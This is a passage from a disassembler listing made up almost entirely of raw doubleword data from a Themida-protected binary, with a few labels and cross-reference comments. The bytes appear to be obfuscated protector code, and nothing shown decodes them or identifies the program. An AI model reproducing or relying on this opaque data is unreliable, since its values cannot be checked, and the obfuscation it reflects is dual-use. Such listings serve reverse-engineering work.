		dd 6A061527h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 9C17C352h, 421558B7h, 12E9h, 888EE700h
		dd 2D36D024h, 8B1C2C79h, 0D0CB9C6Bh, 90B54477h,	0F18B6660h
		dd 12E8h, 0AAA30F00h, 0A0637402h, 8D71404Dh, 4D0CDD1Fh
		dd 51EB8474h, 50615B5Ah, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0FC345675h, 22C19589h
		dd 81660615h, 6A7638DBh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0F006A92h, 285h, 8D5B5300h
		dd 1A17D085h, 5BD8906h,	83061530h, 9D8905C0h, 6152D01h
		dd 6E890h, 0E48A0000h, 0C9D4831Ch, 0DE8505Fh, 0EB000000h
		dd 0D3AF8279h, 33CC5898h, 0AA07CA65h, 7868BF66h, 6A905Fh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 2114CEC3h, 0FC7BFBAh, 6A561Ah, 321BD8Bh, 0BD8B0615h
		dd 6153379h, 0BD89006Ah, 6152F95h, 7995FFF8h, 57061526h
		dd 8D5FDE8Bh, 189C158Dh, 0C5BD0106h, 8B061524h,	1509E5BDh
		dd 83D1FF06h, 152DB5BDh, 850F0106h, 87h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ch, 9AC35646h, 6C7455D3h
		dd 0E27F3F1h, 0BF66026Ah, 0E990CF27h, 13h, 0B1EFC155h
		dd 895680EBh, 1638278Dh, 615AEACAh, 505033E9h, 0E0BB6651h
		dd 6A905F9Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0FDCAC355h, 0F601876h,	480h, 0BDBE6600h
		dd 6661FCC0h, 0FFEAA2BFh, 151D4D95h, 4D9D3306h,	0E9061506h
		dd 0F39h, 0E8h,	0ED815D00h, 61A17DAh, 0AE9h, 7D9C6500h
		dd 0AD733D6h, 0E9A11AABh, 0Eh, 0AA5E34A8h, 0E05F92BFh
		dd 9C7C2291h, 6A1CEAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 386D14C3h, 0BA835ABCh, 34399589h
		dd 858D0615h, 61888F9h,	6BFFBF66h, 50525090h, 0FF98B52h
		dd 5A05B331h, 57310F58h, 5A5F5F50h, 0BB665058h,	6A908058h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0BDE9C357h, 35FF64h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 3869C357h, 0A253B878h, 0F883645h, 148Eh, 0FE900h, 199A0000h
		dd 0DB60B255h, 1228296Eh, 2871F593h, 2589648Ah,	0
		dd 22199589h, 85FF0615h, 6151535h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 1FC35343h, 0FF6A26E6h, 291DBD8Bh
		dd 0B5FF0615h, 6152CBDh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 1EC35141h, 0D781912Dh, 10A7DC28h, 8BD95FFh
		dd 53E90615h, 0B0000001h, 0CE900h, 0F5630000h, 2948FC1h
		dd 0CA961A2Eh, 70E60B6Ah, 9299D8Bh, 0E4F50615h,	0DB816671h
		dd 613CB1DCh, 128830Fh,	31600000h, 150AC5B5h, 0FE9EBF06h
		dd 0E8610876h, 12h, 0F0BBCE90h,	42BD41D2h, 4C6E54E4h, 0BBAFBA5Fh
		dd 0BB664FE3h, 0F5BE2E6h, 8501C8B6h, 61514C5h, 6BAh, 0B5296000h
		dd 6152309h, 2351BD29h,	8B610615h, 0AE52BBC1h, 0E8C16B28h
		dd 0C5BD8904h, 6606151Ch, 0C82BE2F7h, 269D9D8Bh, 0D18B0615h
		dd 5BEF8166h, 0BCE973h,	95890000h, 61526FDh, 0CE9h, 3E37F900h
		dd 56E9CADFh, 0F6A22A30h, 49858B05h, 8344004Eh,	0D5BF07C0h
		dd 831D3CA7h, 0AE900C0h, 0EE000000h, 645A7F51h,	0EDE3E1F2h
		dd 0FD03BCEh, 1883h, 81665600h,	5FC92BCBh, 71E9h, 68C0F00h
		dd 8B000000h, 151C95BDh, 0FF8D8B06h, 66FFFFFFh,	947AE381h
		dd 0F01E183h, 5184h, 9E800h, 1B9F0000h,	0F63540F1h, 0F50331F6h
		dd 0FFA5835Bh, 0FEFFFFFFh, 12E8h, 6FB3C000h, 3589AE42h
		dd 0B4923275h, 0CC46F76Bh, 0E84C80C1h, 6, 0C091AE9Ah, 94BB5A67h
		dd 5F3840AEh, 4995895Bh, 8944004Eh, 152D918Dh, 0E906h
		dd 0B58D0000h, 6199057h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0ACC35545h, 411E529Dh, 32A1BAD1h, 68A0F26h
		dd 8B000000h, 1525B5BDh, 80006A06h, 95FF6ACFh, 6152E21h
		dd 81E6F381h, 0D2B957DBh, 2900000Fh, 1502A99Dh,	0EF816606h
		dd 0E18394BEh, 52006AFCh, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0CB81667Bh, 6AFC31D9h
		dd 3E85300h
dword_5CB524	dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
					; DATA XREF: Themida_:0057C190o
		dd 0BB47C353h, 0E88C2D1Bh, 0Eh
dword_5CB544	dd 0C7EAC9E5h, 0EEF5841h, 27205FD2h, 96BFC1D5h,	5B3B8800h
					; DATA XREF: Themida_:00579E30o
		dd 0B8h, 14E800h, 0CE510000h, 0BA40B02Ah, 93C2642Ah, 3D4573A5h
		dd 0C402DAECh, 8B662600h, 0D22B5FF8h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 58C35646h, 4D7893E7h, 0F90EA08h
		dd 588h, 9BB7BF00h, 33AD6DE3h, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0AD5CE6C3h, 898B4569h, 1504019Dh, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 40300CAAh
		dd 3127FC3Ah, 0E3814362h, 41AFAF19h, 880Dh, 0A5BD2300h
		dd 8B06151Ch, 15272195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 1B568236h, 252F5B3Eh
		dd 4CD8D8Bh, 800F0615h,	2, 8B50FE8Bh, 3188BC2h,	8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	8343BB66h, 8C98589h, 6A0615h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 8FC35C3h, 0DE8B3F23h, 18A9BD83h, 0F000615h, 6684h, 659D8B00h
		dd 0B8061518h, 0
		dd 38D0F51h, 80000000h,	8D5FC5EFh, 154F9E8Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0CF9952C6h, 0FFD88BF5h, 53006AE1h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 96B96FF0h
		dd 719529EFh, 83061525h, 151115BDh, 840F0006h, 574h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0C4C35747h, 51675D33h
		dd 0E8B8BC36h, 7, 697C6595h, 89132C76h,	152DA195h, 0F3805F06h
		dd 15BD83CAh, 1061511h,	549840Fh, 81660000h, 836C31F7h
		dd 151115BDh, 860F0306h, 501h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 22C35747h, 0DCFAF2FFh, 4C18C913h
		dd 27A19D8Bh, 89560615h, 15072585h, 6A605F06h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0C508C350h, 6052CBD6h, 0FE9FCh, 83D20000h, 0A7B08772h
		dd 633D792h, 0D8DB3AE9h, 9D8B6168h, 61533BDh, 6AD98C66h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0ABC5C355h, 2654BB66h, 6A04E180h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 4E24C353h, 0E9C1E610h, 11h, 0CAA931FCh, 50708B33h, 0E21DFFB3h
		dd 0DA7AC146h, 0FAB70F80h, 840FC90Ah, 1AAh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 51C35040h, 0E0BA5623h
		dd 858B9C62h, 615249Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0DBC35646h, 0D353B79Dh, 89AA5F7Ch, 1524B195h
		dd 4BBF6606h, 8B6660D5h, 4840FDFh, 66000000h, 6173E0BEh
		dd 19B58533h, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 9D8973C3h, 615170Dh, 58E0F50h, 0BB000000h
		dd 36B3A024h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0D798C352h,	0E3569A99h
		dd 6A006A78h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 6FA4C356h, 9D89566Dh, 61526A5h
		dd 615C685Bh, 0BF66D96Fh, 4811D19h, 0AFA2A324h,	52006A26h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0B64462B8h, 110BF38h, 52BF6651h, 95FF5F2Ch, 6150DADh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0EEC35646h
		dd 645A7F51h, 66E3E1F2h, 89AF23BBh, 18BF9985h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0FD6AACBEh, 0D3A5B3D6h, 28759D8Bh, 0EBE90615h, 6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 806FC355h, 4BDC922Ah, 33BD9D8Bh, 0BB660615h
		dd 858B499Fh, 618BF91h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 21C35343h, 2882C85Bh,	8BC67AA5h, 1518C5BDh
		dd 1800C706h, 89000000h, 15115DB5h, 8BD88B06h, 18BF95B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 556FBC5Bh, 0EC6D80A8h, 0CA9BD33h, 858B0615h
		dd 6150C45h, 9C99D8Bh, 6890615h, 10E9h,	4574CC00h, 601B50A8h
		dd 5E35B8EAh, 0E6EBBF79h, 0B98D313Ah, 8B061509h, 15249D85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 446895Eh, 8EBF6696h, 0FE8505Eh, 2B000000h
		dd 0A29F5524h, 7D08E659h, 0ABF9B3EAh, 0CE93FE3h, 3D000000h
		dd 0F1DB99C6h, 8ED1CD00h, 5FFEDFD2h, 55006A96h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0F7D619DDh
		dd 0D19D89CBh, 8106152Dh, 0FBE5DDE3h, 0C9B52929h, 0FF06150Dh
		dd 18BF91B5h, 0D9BD8B06h, 68061522h, 0E05D67C3h, 81F98B66h
		dd 9C3C2404h, 0B70F1FC1h, 99858DFFh, 520618BFh,	0D5EF8166h
		dd 0E8905F37h, 0Fh, 724DEA2Fh, 0E9871161h, 0AA6FCBE9h
		dd 665D9A96h, 505FD88Bh, 7F77BB66h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0DF7060E1h
		dd 9CA288CCh, 39D5C381h, 95890162h, 6152799h, 0DAD95FFh
		dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0EE4B19C3h, 411CC24Fh, 22F19509h,	6A610615h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 129BC353h, 0FBB70F74h, 111585C7h,	30615h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 71AD74C3h, 9B6688F0h, 0BD83A81Ch,	618BF99h
		dd 62840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 88D7C352h, 0BB664147h
		dd 55E97C60h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 7716C350h, 13E8h, 9F77E100h
		dd 0FC7DD294h, 493202B0h, 0D81DAD68h, 3BACE58Ah, 5BDA8B53h
		dd 0C30505Fh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 1615BD8Bh, 0BD890615h, 6150FC5h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 73C35545h, 0F1392302h
		dd 3C59589h, 0BD830615h, 6151115h, 0DC850F03h, 83000003h
		dd 18BF99BDh, 840F0006h, 3CFh, 0EE8h, 34F99200h, 359B4579h
		dd 1B023BDFh, 2B19370Ah, 1522B5BDh, 0B5FF5B06h,	618BF99h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 9BC35040h
		dd 0FF96123Dh, 1510E195h, 1464BF06h, 0B58B6178h, 618BF8Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 76C35646h
		dd 85BD8BFEh, 0C7061519h, 1000106h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 50FCE191h
		dd 34895F50h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 5FA5E7BAh, 4890Fh, 0BB660000h, 0B5FF6A78h
		dd 618BF99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	70C35545h, 0D3405F32h, 0DBB70FDBh, 6A195FFh, 850F0615h
		dd 5, 7FEF8166h, 8DB58BB3h, 6A0618BFh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B88C351h
		dd 1525699Dh, 59858B06h, 0BF061500h, 49F0905h, 313BBB66h
		dd 0C48689h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 4B98ECC3h, 8127A5FFh, 0A785AAD3h
		dd 21958B65h, 6A061527h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0D88DC350h,	59B6B75Ah
		dd 83F170D2h, 6A04C2h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 932860C3h, 5C26A84Bh
		dd 840FEDh, 0F000000h, 281h, 8973B700h,	14E82050h, 40000000h
		dd 4A2144F3h, 0CFF9CFEDh, 78E1D9D5h, 1CDB3E9Bh,	0BBB839E8h
		dd 2000B2E0h, 58858D5Bh, 6A0618D4h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F6CC355h
		dd 386h, 0D8EB8000h, 0B88689h, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 5C5B15C3h
		dd 2F104DF0h, 6A2355C0h, 15DF8100h, 0FF631074h,	18BF99B5h
		dd 0BD8BF806h, 6153041h, 1D4D95FFh, 5E80615h, 0B6000000h
		dd 0A4ED51CCh, 0CE9h, 59C8B800h, 31C646Ch, 23DDD4E7h, 8B965B02h
		dd 525050D8h, 0B2C874BBh, 8B310F39h, 96585ADAh,	1615B589h
		dd 0DB810615h, 6A45AF02h, 0BF99B5FFh, 81660618h, 0FFFF47F3h
		dd 15072995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0FBB595A2h, 57533B3Eh, 11E8h, 9B0E900h
		dd 0CDDE0305h, 95E9AB4Fh, 8C25A4AAh, 858983C7h,	6152505h
		dd 65BD835Fh, 61500h, 14840Fh, 0CF810000h, 44468B63h, 1258BB50h
		dd 34894E1Bh, 548EBF24h, 0B5FF3DA8h, 618BF99h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 41C35747h, 0C660E70Fh
		dd 9D8BF486h, 615283Dh,	43995FFh, 6A0615h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 345E36C3h
		dd 99B5FFE4h, 890618BFh, 1508D585h, 0CD95FF06h,	0F06150Dh
		dd 0BD83FAB7h, 615285Dh, 42840F02h, 8B000000h, 2890FD9h
		dd 50000000h, 49858B5Bh, 81061528h, 3BF879DBh, 0C629h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0DDC35141h
		dd 5C1A0CB4h, 2830F01h,	0B3000000h, 0F585C7D4h,	61523h
		dd 0F000000h, 68Bh, 0B99D8B00h,	0E9061518h, 0FFFFF23Eh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 8FC35343h
		dd 4F56DE6Ah, 0E9543FBAh, 7, 592C64BCh,	8B843AB8h, 50006AC1h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 3779A661h, 0BEFE2EBEh, 0E857B917h, 5, 0D7F0661Fh, 999D2B81h
		dd 5F061523h, 9D858D5Bh, 6A061527h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0B459C351h
		dd 0F5BB50A8h, 8973CCF1h, 850F2404h, 3,	6AD88B66h, 0FFBF0F00h
		dd 8D31006Ah, 61516C5h,	298A858Dh, 8589061Ah, 61521D5h
		dd 6A05C083h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 62FCC352h, 0DF1CC020h,	22F19D8Bh
		dd 0BB500615h, 8D9B86Ch, 6A240489h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 3149C352h
		dd 1B335ACCh, 0CE85925h, 9F000000h, 0C47FFB54h,	1E8E65AFh
		dd 0F7B2E25h, 389h, 0F8BF0F00h,	0ED95295Fh, 0E8061518h
		dd 12h,	602DA7C1h, 0CC0308Ch, 35038AC6h, 8BB0FBB7h, 0B5893F3Fh
		dd 6151691h, 6A006A5Bh,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0F811C352h,	5BA1351Dh
		dd 0B3FE7348h, 0C99D89D1h, 6A06150Dh, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 95FF2C7Fh, 6152679h,	0DE9h, 1B49D700h, 1A2861CBh, 184E9C00h
		dd 8D8D9E9Bh, 6189C15h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 75C35646h, 8145D2ECh,	9B1854D7h, 0EB81667Ch
		dd 0D1FF86E3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	4AC35646h, 0EDBD8B57h, 8306150Ch, 152DB5BDh, 850F0106h
		dd 0D1h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 14h,	33C35141h, 0DE9h, 0EDEACF00h, 78445C6Fh, 9E11864h
		dd 26A81C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0EC35242h, 0F47C3AC0h, 3C86BB44h, 8960777Fh, 152F8D85h
		dd 89F58006h, 52505061h, 0CE9h,	9D2EAF00h, 0B87D3ACh, 0EA722CE7h
		dd 0E8310F12h, 0Eh, 5E36F3CAh, 0DE16E434h, 0D723602Ah
		dd 8F0F107Ah, 0
		dd 89585A5Fh, 0BD8B2404h, 6152FE9h, 1D4D95FFh, 6A0615h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0A21211C3h, 0DDA5DD8Eh, 8166488Ah, 8BE91EEFh, 15160DBDh
		db 6
byte_5CC3B9	db 0E9h, 0FFh, 0Dh	; DATA XREF: Themida_:0057BC04o
		dd 0E80000h, 5D000000h,	2994ED81h, 6A061Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0B55D49C3h
		dd 6A6EFC33h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0BDC4C351h, 101DBD89h,	858D0615h
		dd 61888F9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	81C35747h, 8BD88B66h, 152221BDh, 4895006h, 11E824h
		dd 16690000h, 90FD5449h, 0FFC7382Eh, 0FC0EF1C1h, 5BD37EBBh
		dd 35FF64h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 2515C351h, 7A3C1953h
		dd 258964F8h, 0
		dd 0FFF9B70Fh, 15153585h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0AB7544B7h
		dd 0F57347Fh, 28Ah, 6AD88B00h, 51006AFFh, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 6F1D5A7Eh
		dd 0E003C70Ch, 0A19D03D5h, 8B06152Dh, 150AD5BDh, 49B5FF06h
		dd 6A06152Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 5F45C355h, 660DF9FDh, 68F0Fh
		dd 0BD890000h, 6152729h, 860Fh,	95FF0000h, 61508BDh, 152E9h
		dd 8D8B6000h, 6150CA1h,	68B0Fh,	95290000h, 6150A21h, 0E800B061h
		dd 7, 2C1391B3h, 0E9F33B1Eh, 0Bh, 7A97424Eh, 0A9760CD0h
		dd 5FDEC991h, 71E470E6h, 613CF98Bh, 111830Fh, 95310000h
		dd 6151D51h, 0E8C8B60Fh, 13h, 1FE9E589h, 18B0D299h, 0DE068E5Dh
		dd 42CBE61Ah, 89DEDFF2h, 15118985h, 6BA5B06h, 0E9000000h
		dd 5, 886CBD13h, 0E9C18BC2h, 0Bh, 5BC517AAh, 0EBFFD1ACh
		dd 0C121D3A6h, 0E95304E8h, 10h,	8A81CE76h, 0D4831CE4h
		dd 0D81DBC9h, 0E60903FEh, 0E2F7665Bh, 7E8h, 99066300h
		dd 98EB699Bh, 0C82B5FF9h, 2DA19D89h, 0D18B0615h, 33C99D8Bh
		dd 88E90615h, 2B000000h, 1523359Dh, 4C858B06h, 0BB505F4Ch
		dd 1DBB1735h, 8B07C083h, 150465BDh, 0C08306h, 3BFEBF0Fh
		dd 0E830FD0h, 60000000h, 0E961F18Bh, 57h, 0ABCF8166h, 0FF8D8BAAh
		dd 89FFFFFFh, 1505D58Dh, 1E18306h, 3D840Fh, 8D890000h
		dd 6150BE9h, 0FFFFA583h, 66FEFFFFh, 89D77FBBh, 5F4C4C95h
		dd 0DE96050h, 0A6000000h, 0C3B5112h, 0B2BC50F3h, 65AD161h
		dd 61DEB70Fh, 4890Fh, 0BB660000h, 0E990A8h, 8D000000h
		dd 19A5E9B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 74238F26h, 27E64E02h, 6A148Bh, 0EDB58960h
		dd 0F061518h, 588h, 6294BA00h, 0FF6168EEh, 152E2195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 5B0330E5h, 76D22F72h, 0E92B927h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 4E382FC3h
		dd 765127DCh, 19E9BD89h, 0E1830615h, 51006AFCh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0DB810E1Ch
		dd 6DC250A2h, 0B8FCh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 9B6E3DC3h, 0C19D8B84h
		dd 2B06152Ch, 152F2D9Dh, 0BA06h, 81660000h, 0AD7681DFh
		dd 0E8D1C233h, 0E983D003h, 0E8F47504h, 12h, 83BB8F4Eh
		dd 38AAF125h, 779FD083h, 0CA09CF7Dh, 0D5FED93h,	88h, 8BDEBF0Fh
		dd 15272195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0FE86E03Eh, 8BB304C6h, 1504CD8Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0E6C2A9F9h, 0A139F3A3h, 0B531DF77h, 6152F05h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	0BD8B5818h
		dd 615191Dh, 8E8h, 68C36900h, 5B165B57h, 5FFC8AC7h, 18A9BD83h
		dd 0F000615h, 6484h, 0E9BD8900h, 0B806150Ah, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 90C35747h
		dd 75E63C45h, 0E51BF325h, 20F18D29h, 8D8D0615h,	6154F9Eh
		dd 7018D89h, 0E1FF0615h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 66C35242h, 0BD08A6FEh, 15BD8303h, 61511h
		dd 47E840Fh, 0BB660000h, 0BD834EF2h, 6151115h, 88840F01h
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 2A61C350h, 15BD83F5h, 3061511h
		dd 427860Fh, 0F88B0000h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 1C30983Bh, 9D89DC2Fh
		dd 6152DCDh, 6AD98C66h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 9258C351h, 81E4BBD2h
		dd 5C4EEBD7h, 819D8B00h, 80061502h, 6A04E1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0EFEB36C3h
		dd 820F23BBh, 8, 4D950952h, 5B061510h, 10E8h, 0D11FB100h
		dd 6BFD3188h, 0EF89B81Eh, 0C29228A9h, 27BF6681h, 0C90A5BB9h
		dd 189840Fh, 9D8B0000h,	61502E5h, 249D858Bh, 6A0615h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0E8C618C3h, 9, 3D3D9C25h, 6B2F4154h,	7BDB8160h, 5B316896h
		dd 14E9h, 6846100h, 0BBE8DE64h,	8504409Ah, 4ED34501h, 0EAF50205h
		dd 0B585337Bh, 0E8061519h, 6, 67C67310h, 6E81530h, 8B000000h
		dd 0AC95237Eh, 0B6F7810Bh, 5B30F040h, 5250905Bh, 0FDA8B66h
		dd 5AD98A31h, 9BB35058h, 11958990h, 8B06150Ah, 1508A9BDh
		dd 6A006A06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0FA37C351h, 0C7228A2Fh, 0F88BE4C9h
		dd 18EDBD2Bh, 9D8B0615h, 61525C1h, 4E8h, 1F03FF00h, 0D98B6600h
		dd 8B5B5350h, 52042444h, 66008B5Fh, 4489D88Bh, 0F5580424h
		dd 0DAD95FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 665275C3h, 314EE7CDh, 893C17CBh
		dd 18BF9985h, 75BD2306h, 0F06150Ah, 28Dh, 0E9F0B700h, 1D7h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1EC35747h
		dd 45EA57E1h, 65FC80Eh,	12E8h, 0BBED7E00h, 0DC12D329h
		dd 4D6C90CBh, 7DAB23D4h, 5FE89F1Bh, 0A9958B60h,	0E9061528h
		dd 7, 0B58C5342h, 6126406Ch, 0C88B6660h, 20CD8D89h, 8B610615h
		dd 18BF9185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0F2BC1064h, 95BD8B89h, 0E9061511h
		dd 0Dh,	5FFEB66h, 70449479h, 13E31FB3h,	0E19D8B06h, 0C7061501h
		dd 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 3F67CBE1h, 8BE578FBh, 18BF95B5h
		dd 0D840F06h, 0E8000000h, 7, 3D2E8F7Bh,	5FA99707h, 0C45858Bh
		dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0BA99B7C3h, 0E215F8D9h, 890689CEh, 151CADBDh
		dd 9D858B06h, 23061524h, 1503B5BDh, 4468906h, 66F98B66h
		dd 6650F98Bh, 3489FE8Bh, 9E824h, 0CDB90000h, 3728F4F0h
		dd 0F1DF3A7h, 0FF5BDEBFh, 18BF91B5h, 0E99D8906h, 68061517h
		dd 7C373FD6h, 13E8h, 0D49B9E00h, 1D6DE361h, 0EA924018h
		dd 28516132h, 3C99616Ah, 5FFE8B66h, 29243481h, 0F7C283Ch
